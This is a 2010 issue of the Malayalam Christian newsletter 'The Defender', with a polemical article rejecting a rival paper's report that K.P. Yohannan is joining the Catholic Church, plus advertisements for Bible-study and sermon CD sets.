കള്ളപ്രവചനത്തെപ്പറ്റി കൂടുതൽ വിവരങ്ങൾ അടുത്ത ലക്കത്തിൽ.



RNI No. 68089 / 97
2010 April 1

# THE DEFENDER

REGISTERED
KL/ALY/0031/2009-11

# കെ.പി.യോഹന്നാൻ റോമാ സഭയിലേക്കോ?



കെ.പി.യോഹന്നാൻ കത്തോലിക്കാ സഭയിലേക്ക് എന്ന തലക്കെട്ടോടെ മാർച്ച് 20 ലക്കം മരുപ്പച്ചയിൽ പ്രസിദ്ധീകരിച്ച ലേഖനമാണ് ഈ കുറിപ്പിന് ആധാരം. കെ.പി.യോഹന്നാൻ കത്തോലിക്കാ സഭയിൽ ചേരാൻ വേണ്ടതെല്ലാം ചെയ്തു കഴിഞ്ഞെന്നും ഏതാനും ദിവസങ്ങൾക്കകം കെ.പി. യോഹന്നാൻ കത്തോലിക്കനായിക്കഴിഞ്ഞിരിക്കും എന്നുമാണ് ഈ വാർത്ത വായിച്ച ഭൂരിപക്ഷം ആളുകളും മനസ്സിലാക്കിയത്. അതുകൊണ്ട് ഈ വാർത്തയിൽ എത്രത്തോളം സത്യമുണ്ടെന്നു പരിശോധിക്കാം.

പോപ്പ് വാതിൽ തുറന്നിടുന്നു എന്ന് അച്ചൻകുഞ്ഞു പറയുന്നു. അതു തികച്ചും ശരിയാണ്. പക്ഷേ കത്തോലിക്കാസഭയുടെ വാതിൽ എന്നും തുറന്നു തന്നെയാണു കിടന്നിരുന്നത്. കത്തോലിക്കാ വിശ്വാസപ്രമാണങ്ങൾ അംഗീകരിക്കാൻ തയ്യാറുള്ള വ്യക്തികൾക്കും സഭകൾക്കും കത്തോലിക്കാസഭയിലേക്കു പ്രവേശിക്കാം. മലങ്കര കത്തോലിക്കാസഭ ഉണ്ടായതുതന്നെ നല്ല ഉദാഹരണം. ഈ വിഷയത്തിൽ പുതിയ നിലപാടുകളൊന്നും കത്തോലിക്കാസഭ സ്വീകരിച്ചിട്ടില്ല. അതുകൊണ്ട് മരുപ്പച്ച വെറുതെ പടക്കം പൊട്ടിക്കയാണ്.

കെ.പി.യോഹന്നാൻ കത്തോലിക്കാ സഭയിൽ ചേരാൻ ശ്രമമാരംഭിച്ചു എന്നാണ് വാർത്തയിലെ ആദ്യ വാചകം. ഈ ദിവസങ്ങളിൽ ഇത്തരം ഒരു നീക്കം കെ.പി.യോഹന്നാൻ നടത്തിയെങ്കിൽ മരുപ്പച്ച അതിന്റെ വിശദാംശങ്ങൾ പുറത്തുവിടേണ്ടതാണ്. എന്നാൽ എന്തടിസ്ഥാനത്തിലാണ് മരുപ്പച്ച ഇങ്ങനെ പറയുന്നതെന്നു വ്യക്തമാക്കുന്നില്ല. വാർത്തക്കുവേണ്ടി സൃഷ്ടിച്ച വാർത്തയാണിതെന്നു വ്യക്തം.

കെ.പി.യോഹന്നാൻ ബിഷപ്പായെങ്കിലും ഒരു പട്ടത്വസഭയും കെ.പിയെ ബിഷപ്പായി അംഗീകരിക്കാൻ തയ്യാറായിട്ടില്ല. സി.എസ്.ഐ സഭയിലായിരുന്നു കെ.പിയുടെ പ്രതീക്ഷ. പക്ഷേ അവർ പ്രാരംഭത്തിൽ തന്നെ ഇടഞ്ഞു. മാർതോമ്മാ സഭ കണ്ടഭാവം നടിച്ചില്ല. യാക്കോബായ-ഓർത്തഡോക്സ് വിഭാഗങ്ങൾ ഇങ്ങനെയൊരു സംഭവം നടന്നതായിപ്പോലും ഭാവിച്ചില്ല. കത്തോലിക്കർ അവരുടെ പ്രമാണം വിട്ടു കളിക്കുകയുമില്ലല്ലോ. അങ്ങനെ കെ.പി.യോഹന്നാൻ വെറും വെഷപ്പായി. (വെറുതെ ഒരു ഭാര്യ എന്നു പറഞ്ഞതുപോലെ വെറുതെ ഒരു വെഷപ്പ്).

ആദ്യകാലത്തേറ്റ തിരിച്ചടികളൊന്നും കെ.പിയെ തളർത്തിയില്ല. തന്റെ കീഴിൽ കൂടുതൽ ബിഷപ്പുമാരെ വാഴിച്ചുകൊണ്ട് കെ.പി.യോഹന്നാൻ ആർച്ച് വെഷപ്പായി. വെറും ബിഷപ്പിനേക്കാൾ വലിയവനാണല്ലോ ആർച്ച് ബിഷപ്പ്. പക്ഷേ മറ്റു പട്ടത്വസഭകളൊന്നും നിലപാടു മാറ്റിയില്ല. കെ.പി.യോഹന്നാന്റെ സഭ സഭയേയല്ല എന്ന നിലപാടാണ് എല്ലാ പട്ടത്വ സഭകളും സ്വീകരിച്ചത്. എങ്കിലും ''മോരില്ലേൽ ശകലം ഉണ്ടേക്കാം'' എന്ന പരുവത്തിൽ കെ.പി.യോഹന്നാൻ ഇപ്പോഴും പട്ടത്വ സഭകളുടെ പിന്നാലെ നടക്കുകയാണ്. അക്കൂട്ടത്തിലുള്ള ഒരു പട്ടത്വസഭ മാത്രമാണു കത്തോലിക്കാസഭ.

വിവാഹിതർക്കു കത്തോലിക്കാ സഭയിൽ പുരോഹിതനും ബിഷപ്പും മറ്റും ആകാൻ കഴിയുമോ എന്ന വിഷയവും അച്ചൻകുഞ്ഞ് ചർച്ചാവിഷയമാക്കുന്നുണ്ട്. വിവാഹിതനായ ഒരു മലയാളി ഭാര്യയുടെ മരണശേഷം കത്തോലിക്കാസഭയിലെ പുരോഹിതനായ സംഭവം ഏതാനും വർഷം മുൻപ് പത്രങ്ങളിൽ വാർത്തയായിരുന്നു. അദ്ദേഹം തന്റെ കൊച്ചുമക്കളിൽ ഒരാളുടെ വിവാഹം പുരോഹിതനെന്ന നിലയിൽ നടത്തിയ സംഭവവും പത്രത്തിൽ കണ്ടിരുന്നു. എങ്കിലും വിവാഹിതനായ കെ.പി.യോഹനാന്നെ ബിഷപ്പായോ പുരോഹിതനെങ്കിലുമായോ കത്തോലിക്കാസഭക്ക് അംഗീകരിക്കാൻ കഴിയുമോ എന്നു കണ്ടുതന്നെ അറിയണം. പുരോഹിതരുടെ ബ്രഹ്മചര്യം എന്ന വിഷയത്തേക്കുറിച്ച് വിശദമായ ഒരു ലേഖനം ഡിഫെൻഡറിൽ പ്രസിദ്ധീകരിക്കാൻ പദ്ധതിയുള്ളതുകൊണ്ട് ഈ വിഷയം ഇപ്പോൾ വിശദമായ പഠനത്തിനു വിധേയമാക്കുന്നില്ല.

ഏഴു സഹോദരിമാരെ ചേർത്ത് കെ.പി.യോഹന്നാൻ സിസ്റ്റേഴ്സ് ഓർഡർ ഉണ്ടാക്കിയത്രേ. ശരിയായിരിക്കാം. തുഗ്ലക് മോഡൽ ഭരണപരിഷ്ക്കാരങ്ങൾ നടപ്പിലാക്കുന്നതിൽ കെ.പി.യോഹന്നാനെ വെല്ലാൻ ആളില്ല. കെ.പി.യോഹന്നാനു മഠമുണ്ടാക്കാനും മഠത്തിലമ്മമാരെ മഹറോൻ ചൊല്ലാനും അധിക സമയം വേണ്ട. പക്ഷേ കെ.പി കത്തോലിക്കാ സഭയിലേക്കു ചേക്കേറുന്നതിന്റെ മുന്നോടിയാണിത് എന്നുള്ള വ്യാഖ്യാനം ശരിയല്ല.

കെ.പി.യോഹന്നാന്റെ കേരളത്തിലെ സഭയിൽ ഇപ്പോൾ രണ്ടായിരത്തിൽ താഴെ അംഗങ്ങളേയുള്ളൂ എന്നു മരുപ്പച്ച പറയുന്നത് എത്രത്തോളം ശരിയാണെന്നു സംശയമുണ്ട്. വിശ്വസനീയമായ എന്തെങ്കിലും കണക്കിന്റെ അടിസ്ഥാനത്തിലാണോ മരുപ്പച്ച ഇങ്ങനെ പറയുന്നതെന്നു വ്യക്തമാക്കണം.

കത്തോലിക്കനായാൽ കെ.പി. യോഹന്നാന്റെ സ്വത്തിനു സംരക്ഷണം കിട്ടും എന്ന ധാരണയിലാണു കെ.പി. യോഹന്നാൻ കത്തോലിക്കനാകാൻ ശ്രമിക്കുന്നതെന്നു മരുപ്പച്ച പറയുന്നത് അംഗീകരിക്കാൻ ബുദ്ധിമുട്ടുണ്ട്. കാരണം, കത്തോലിക്കാസഭയുടെ സ്വത്തിനു മാത്രമായി എന്തു സംരക്ഷണമാണ് ഈ രാജ്യത്തുള്ളത്? അഥവാ, അങ്ങനെയൊരു സംരക്ഷണം ഉണ്ടെന്നു വാദിച്ചാലും പ്രശ്നം തീരുന്നില്ല. കെ.പി.യോഹന്നാൻ കത്തോലിക്കനായാൽ കെ.പിയുടെ സഭയുടെ സ്വത്തുക്കൾ കത്തോലിക്കാ സഭയുടെ സ്വത്തുക്കളാകും. അത്തരം ഒരു കൈവിട്ട കളിക്ക് കെ.പി.യോഹന്നാൻ തയ്യാറാകുമെന്നു കരുതാൻ ബുദ്ധിമുട്ടുണ്ട്.

പറഞ്ഞു വരുന്നതിന്റെ ചുരുക്കം ഇതാണ്: കെ.പി.യോഹന്നാൻ കത്തോലിക്കാ സഭയിലേക്ക് എന്ന തലക്കെട്ടിൽ മരുപ്പച്ചയിൽ വന്ന വാർത്ത അടിസ്ഥാനരഹിതമാണ്. ഏതെങ്കിലുമൊരു പട്ടത്വസഭയുമായി ബന്ധം സ്ഥാപിക്കാൻ കെ.പി. യോഹന്നാൻ നടത്തിവരുന്ന ശ്രമം ഇപ്പോഴും തുടരുന്നു എന്നല്ലാതെ ഈ ദിവസങ്ങളിൽ വിശേഷിച്ച് ഒന്നും സംഭവിച്ചിട്ടില്ല. ഈ വാർത്ത വെറും സ്റ്റണ്ടാണ്.

അങ്ങനെയെങ്കിൽ മരുപ്പച്ച എന്തിന് ഇത്തരമൊരു ഉണ്ടയില്ലാവെടി പൊട്ടിച്ചു? കാരണം വ്യക്തം: തലക്കെട്ടാക്കാൻ പറ്റിയ വാർത്തകളൊന്നും കിട്ടിയില്ല. അതുകൊണ്ട് ശൂന്യതയിൽ നിന്ന് ഒരു വാർത്ത സൃഷ്ടിച്ചു. കഴിഞ്ഞ ലക്കത്തിൽ സംഭവിച്ചതും ഇതുതന്നെ. വാർത്തയൊന്നും കിട്ടാതെവന്നപ്പോൾ ഒരു ശോകമൂക സൃഷ്ടി നടത്തി. വാർത്ത സൃഷ്ടിക്കാൻ കെ.പി.യെ തെരഞ്ഞെടുത്തതിന്റെ പിന്നിലുമുണ്ട് രഹസ്യം. പെന്തക്കോസ്ത് ഉപദേശങ്ങളിൽ വിശ്വാസമില്ലാത്തവനാണ് അച്ചൻകുഞ്ഞ് എന്നു ഡിഫെൻഡർ നിരന്തരം എഴുതുന്നു. പെന്തക്കോസ്ത് വിട്ട് പട്ടത്വം സ്വീകരിച്ച കെ.പി.ക്കെതിരെ എഴുതിയാൽ അച്ചൻകുഞ്ഞിനു പെന്തക്കോസ്തുകാരുടെ കൈയ്യടി കിട്ടും. ഇതൊക്കെയാണ് ഈ വാർത്തയുടെ ഗുട്ടൻസ്.


## വീട്ടിൽ ഒരു ബൈബിൾസ്ക്കൂൾ

വീട്ടിലിരുന്ന്, പരസഹായം കൂടാതെ, ദൈവവചനം പഠിക്കാൻ സഹായകമായ എം.പി.3 ഓഡിയോ സീഡികൾ. കമ്പ്യൂട്ടറിലും വി.സി.ഡി./ഡി.വി.ഡി പ്ലെയറിലും ഉപയോഗിക്കാം. ഒരു സി.ഡിയിൽ 10 മണിക്കൂർ ദൈർഘ്യമുള്ള ക്ലാസ്സ്. 10 സി.ഡികളിലായി 100 മണിക്കൂർ ദൈർഘ്യമുള്ള ക്ലാസ്സ്. വില: 900 രൂപ.

**വിഷയവിവരം:**

സി.ഡി.-1: അടിസ്ഥാന വേദോപദേശങ്ങൾ (രക്ഷ, സ്നാനം, പരിശുദ്ധാത്മസ്നാനം, വേർപാട്, കൂട്ടായ്മ, തിരുവത്താഴം, പ്രാർത്ഥന, വിശ്വാസജീവിതം തുടങ്ങിയവ).
സി.ഡി.-2: കൾട്ടുകൾ (കൾട്ടിന്റെ ലക്ഷണങ്ങൾ, യഹോവാസാക്ഷികൾ, ശാബതുകാർ, ബ്രൻഹാമിസം, റ്റി.പി.എം, മൊർമോൺ, ആത്മാവ്, നരകം, ത്രിത്വം.....).
സി.ഡി.-3: ആത്മലോകം (അദൃശ്യലോകം, കൃപാവരങ്ങൾ, ആത്മവിവശത, ദൈവദൂതൻമാർ, സാത്താന്യ തന്ത്രങ്ങൾ, ഭൂതബാധ, ഒക്കൾട്ട്, വഞ്ചിക്കുന്ന പിശാച്).
സി.ഡി.-4: ദുരുപദേശങ്ങൾ (ഉപദേശവും ദുരുപദേശവും, സ്വർഗ്ഗരാജ്യം, പൗരോഹിത്യം, കൂദാശകൾ, കന്യാമറിയം, വിശുദ്ധൻമാർ, സെന്റ് തോമസ്, പെരുന്നാളുകൾ).
സി.ഡി.5: ലോക മതങ്ങൾ (മതങ്ങളുടെ ഉത്ഭവം, ഹിന്ദുമതം, പ്രജാപതിപ്രശ്നം, ഇസ്ലാംമതം, ബുദ്ധമതം, ജൈനമതം, സിക്ക് മതം, സൊരവാസ്ട്രിയൻ മതം.....).
സി.ഡി.-6: വ്യാഖ്യാനശാസ്ത്രം (പഴയനിയമവ്യാഖ്യാനം, പുതിയനിയമവ്യാഖ്യാനം).
സി.ഡി.-7: ഭാവികാലശാസ്ത്രം (ഭാവികാലവും ബൈബിളും, മരണാനന്തരജീവിതം, യേശുവിന്റെ മടങ്ങിവരവ്, 70 ആഴ്ചവട്ടം, വെളിപ്പാടുപുസ്തകം, ന്യായവിധികൾ).
സി.ഡി.-8: ബൈബിളിൽ തെറ്റുണ്ടോ? (ബൈബിളിൽ തെറ്റുണ്ടെന്നു വാദിക്കുന്നവർ ഉന്നയിക്കുന്ന സംശയങ്ങൾക്കുള്ള മറുപടികൾ).
സി.ഡി.-9: ദൈവശാസ്ത്രപരമായ സംശയങ്ങൾ (ദൈവശാസ്ത്രവുമായി ബന്ധപ്പെട്ടുണ്ടാകുന്ന സംശയങ്ങൾക്കുള്ള മറുപടികൾ).
സി.ഡി.-10: ധാർമ്മിക പ്രശ്നങ്ങൾ (ആത്മാവിന്റെ പ്രമാണം, വൈവാഹിക പ്രശ്നങ്ങൾ, കുടുംബജീവിതം, മദ്യവും മയക്കുമരുന്നും, ആഭരണപ്രശ്നം തുടങ്ങിയവ).

## നിങ്ങൾക്കും പ്രസംഗകനാകാം

പുതിയനിയമത്തിൽ നിന്ന് 100 പ്രസംഗങ്ങളാണ് ഈ സി.ഡികളിൽ ഉള്ളത്. എം.പി.3 ഫോർമാറ്റിൽ 10 സി.ഡികൾ. ദൈവവചനത്തെ ദുർവ്യാഖ്യാനം ചെയ്യുന്നത് ഒഴിവാക്കുന്നതിനും വസ്തുനിഷ്ഠമായി ദൈവവചനം പ്രസംഗിക്കുന്നതിനും സഹായകം. ദൈവവചനം പ്രസംഗിക്കുന്നവർക്കുവേണ്ടി തയ്യാറാക്കിയത്. വില: 900 രൂപ.
സി.ഡി.-1: പുതിയനിയമം, പ്രോഗ്രസ് റിപ്പോർട്ട്, അജ്ഞാതദേവൻ, പ്രാകൃതമനുഷ്യൻ, എല്ലാം നൻമക്കായി, നിർമ്മല കന്യക, അധർമ്മത്തിന്റെ മർമ്മം, പരിശോധന, ഇവയിലധികമായി, നല്ല ശമര്യാക്കാരൻ.... തുടങ്ങിയവ.
സി.ഡി.-2: സ്നാപകൻ, കള്ളൻമാരുടെ ഗുഹ, മറുരൂപമലയിൽ, ധനവാനും ലാസറും, വചനംജഡമായി, ജീവജലം, സാക്ഷികൾ, എലീമാസ്, ചെന്നായ്ക്കൾ, സുവിശേഷം.
സി.ഡി.-3: നസ്രായൻ, നഷ്ടപ്പെട്ടവ, കാനായിൽ, വേലക്കാർ, ഓഡിനേഷൻ, വിപ്ലവം, പത്തുകന്യകമാർ, സത്യസുവിശേഷം, ന്യായവിധി, സാത്താന്റെ ദൂതൻ.
സി.ഡി.-4: ആത്മീയയുദ്ധം, വേർപാട്, ഓട്ടക്കളത്തിൽ, ഏക മദ്ധ്യസ്ഥൻ, ദുരുപദേശം, ഒനേസിമൊസ്, ഏകലക്ഷ്യം, മരിച്ചവരോടും, പ്രതിരോധം, വ്യാജൻമാർ.
സി.ഡി.-5: ദുരുപദേശക്കാർ, ദൈവമക്കൾ, ദുഷ്ടഹൃദയം, അടിസ്ഥാനം, ശുശ്രൂഷകർ, ഇണയല്ലാപ്പിണ, ശുദ്ധവും അശുദ്ധവും, പിതൃദേശം, ദൃഷ്ടാന്തങ്ങൾ, നല്ല ഇടയൻ.
സി.ഡി.-6: വെളിച്ചം, അത്ഭുതവിടുതൽ, ബലവാൻ, തൈലാഭിഷേകം, അടയാളങ്ങൾ, ദൈവംനട്ടത്, പൂർണ്ണസുവിശേഷം, ദേഹിയും ആത്മാവും, ശരിയായ സ്നാനം......
സി.ഡി.-7: പോരാട്ടം, യേശു ആര്?, സഭയെന്ന ദൈവാലയം, പാതാള ഗോപുരങ്ങൾ, സ്വർഗ്ഗരാജ്യം, ഇടർച്ചക്കാരൻ, പിൻമാറ്റം, മൂപ്പൻമാർ, തിരുവചനം, സൈമണി.
സി.ഡി.-8: മുന്തിരിവള്ളി, തിൻമയ്ക്കെതിരേ, നിത്യജീവൻ, അയയ്ക്കപ്പെട്ടവർ, എഴുന്നേറ്റുനടക്ക, പുനരുത്ഥാനം, നിത്യ പൗരോഹിത്യം, വീണ്ടുംജനനം......
സി.ഡി.-9: സത്യനമസ്ക്കാരം, ഉപവാസം, പാപം ചെയ്യാത്തവർ, കരുണയിൽ, തെറ്റിയൊഴിയുമോ, കുരുടൻമാർ, ശുശ്രൂഷകർ, മൂന്നു പരീക്ഷകൾ, തലീഥ കുമി....
സി.ഡി.-10: മാനസാന്തരപ്പെടുക, മരണപര്യന്തം, സാത്താന്റെ സിംഹാസനം, എല്ലാം കാണുന്നവൻ, ഉണരുക, തുറന്ന വാതിൽ, വാതിൽക്കൽ, ദൈവം മനുഷ്യരോടൊപ്പം.

വില: (ഇന്ത്യയിൽ) 10 സി.ഡികളുടെ സെറ്റ് - 900 രൂപ. രണ്ടു സെറ്റുകളും ചേർത്ത്-1800 രൂപ. പോസ്റ്റേജ് സൗജന്യം. വിദേശ രാജ്യങ്ങളിലേക്ക് സി.ഡികൾ സ്പീഡ് പോസ്റ്റിൽ അയയ്ക്കുന്നതാണ്. ഏതെങ്കിലും ഒരു സെറ്റ് - US$ 50 or Rs.2000/-. രണ്ടു സെറ്റുകളും ചേർത്ത്- US$ 100 or Rs.4000/-. പോസ്റ്റേജ് സൗജന്യം. കൂടുതൽ വിവരങ്ങൾക്ക് tsbalan@yahoo.com എന്ന ഈമെയിലിൽ ബന്ധപ്പെടുക. ഗൾഫ് രാജ്യങ്ങളിലുള്ളവർ വിലയും ഇന്ത്യയിലെ അഡ്രസ്സും അയയ്ക്കുക.

വില T.S.Balan എന്ന പേരിൽ ചെക്ക്/ഡി.ഡി./മണിയോഡർ ആയി താഴെ കാണുന്ന വിലാസത്തിൽ അയയ്ക്കുക.

പ്രത്യേക ശ്രദ്ധക്ക്: ഡിഫെൻഡറിന്റെ പേരിൽ ചെക്ക്/ഡി.ഡി അയയ്ക്കരുത്. ഡിഫെൻഡർ എന്ന പേരിൽ അക്കൗണ്ടില്ല.

**Address: T.S.Balan, Anand Bhavan, Near: KSRTC, Perumbavoor P.O., Ernakulam Dist. Pin. 683 542**


Printed, Published and Owned by Anish Balan, Anand Bhavan, Near: KSRTC, Perumbavoor P.O., Ernakulam Dist., Kerala. Printed at: Perumbavoor Printers, Best Complex, Perumbavoor P.O., Ernakulam Dist., Kerala. Published at Anand Bhavan, Near: KSRTC, Perumbavoor. P.O., Ernakulam Dist. Kerala. Editor: Anish Balan